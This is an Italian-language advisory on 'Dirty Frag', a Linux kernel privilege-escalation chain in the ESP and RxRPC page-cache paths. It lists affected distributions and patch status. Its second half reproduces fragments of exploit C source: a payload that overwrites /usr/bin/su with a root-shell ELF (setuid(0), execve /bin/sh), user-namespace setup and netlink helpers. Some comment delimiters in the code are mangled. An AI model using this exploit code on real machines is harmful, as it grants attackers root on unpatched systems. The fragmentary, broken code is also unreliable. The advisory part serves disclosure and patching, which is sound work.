
Dirty Frag - vulnerabilità critica del kernel Linux
La catena di exploit, classificata come Local Privilege Escalation (LPE), consente a un utente non privilegiato di ottenere accesso root su praticamente tutte le distribuzioni Linux moderne che eseguono kernel rilasciati dal 2017, coprendo circa nove anni di versioni. Lo sfruttamento agisce sul percorso di decrittazione in-place dei moduli esp4, esp6 e rxrpc, corrompendo la cache delle pagine del kernel tramite syscall standard come splice(2) e sendmsg(2), senza richiedere interazione con l'utente né un vettore di attacco remoto.
Le due vulnerabilità componenti sono:
xfrm-ESP Page-Cache Write - CVE-2026-43284, nel percorso di input IPsec ESP. Unita all'albero netdev il 7 maggio 2026 e accettata nel mainline l'8 maggio 2026 come commit f4c50a4034e6 (si apre in una nuova scheda).
RxRPC Page-Cache Write - CVE-2026-43500 riservato, nel percorso di verifica AFS RxRPC. Nessuna patch esiste in alcun albero al momento della divulgazione.
| Distribuzione | Versioni interessate | CVE-2026-43284 (ESP) | CVE-2026-43500 (RxRPC) | Stato della patch |
|---|---|---|---|---|
| RHEL | 8, 9, 10 | ✅ Interessata | ✅ Interessata | Corretta |
| AlmaLinux | 8, 9, 10 | ✅ Interessata | ⚠️ Solo 9 e 10¹ | Corretta |
| Rocky Linux | 8, 9, 10 | ✅ Interessata | ✅ Interessata | Corretta |
| CentOS | 8 | ✅ Interessata | ✅ Interessata | Corretta |
| CloudLinux | 7 Hybrid, 8, 9, 10 | ✅ Interessata | ✅ Interessata | Corretta |
| Oracle Linux | RHCK / UEK interessati | ✅ Interessata | ✅ Interessata | Corretta |
| Ubuntu | 20.04, 22.04, 24.04 | ✅ Interessata | ✅ Interessata | Corretta |
| Debian | Bullseye, Bookworm, Trixie | ✅ Interessata | ✅ Interessata | Corretta (sid per primo) |
| Fedora | Versioni correnti | ✅ Interessata | ✅ Interessata | Corretta |
| Arch Linux | Rolling | ✅ Interessata | ✅ Interessata | Corretta |
| Amazon Linux | 2, 2023 | ✅ Interessata | ✅ Interessata | Corretta |
| Proxmox VE | Versioni correnti | ✅ Interessata | ✅ Interessata | Corretta |
Interessati: kernel Linux ≥ 4.14 (da gennaio 2017) · Tutte le principali distribuzioni · Nessun vettore remoto CVSS 3.1: 8.8 HIGH (CVE-2026-43284) · Divulgato: 7 maggio 2026 · PoC pubblico day zero Ricercatore: Hyunwoo Kim (@v4bel)
#ifndef UDP_ENCAP #define UDP_ENCAP 100 #endif #ifndef UDP_ENCAP_ESPINUDP #define UDP_ENCAP_ESPINUDP 2 #endif #ifndef SOL_UDP #define SOL_UDP 17 #endif
#define ENC_PORT 4500 #define SEQ_VAL 200 #define REPLAY_SEQ 100 #define TARGET_PATH "/usr/bin/su" #define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] / #define PAYLOAD_LEN 192 / bytes of shell_elf to write (48 triggers) / #define ENTRY_OFFSET 0x78 / shellcode entry inside the new ELF */
/*
setgid(0); setuid(0); setgroups(0, NULL);
execve("/bin/sh", NULL, ["TERM=xterm", NULL]);
extern int g_su_verbose; int g_su_verbose = 0; #define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##VA_ARGS); } while (0)
static int write_proc(const char *path, const char *buf) { int fd = open(path, O_WRONLY); if (fd < 0) return -1; int n = write(fd, buf, strlen(buf)); close(fd); return n; }
static void setup_userns_netns(void) { uid_t real_uid = getuid(); gid_t real_gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { SLOG("unshare: %s", strerror(errno)); exit(1); } write_proc("/proc/self/setgroups", "deny"); char map[64]; snprintf(map, sizeof(map), "0 %u 1", real_uid); if (write_proc("/proc/self/uid_map", map) < 0) { SLOG("uid_map: %s", strerror(errno)); exit(1); } snprintf(map, sizeof(map), "0 %u 1", real_gid); if (write_proc("/proc/self/gid_map", map) < 0) { SLOG("gid_map: %s", strerror(errno)); exit(1); } int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); } struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "lo", IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); } ifr.ifr_flags |= IFF_UP | IFF_RUNNING; if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); } close(s); }
static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len) { struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); rta->rta_type = type; rta->rta_len = RTA_LENGTH(len); memcpy(RTA_DATA(rta), data, len); nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len); }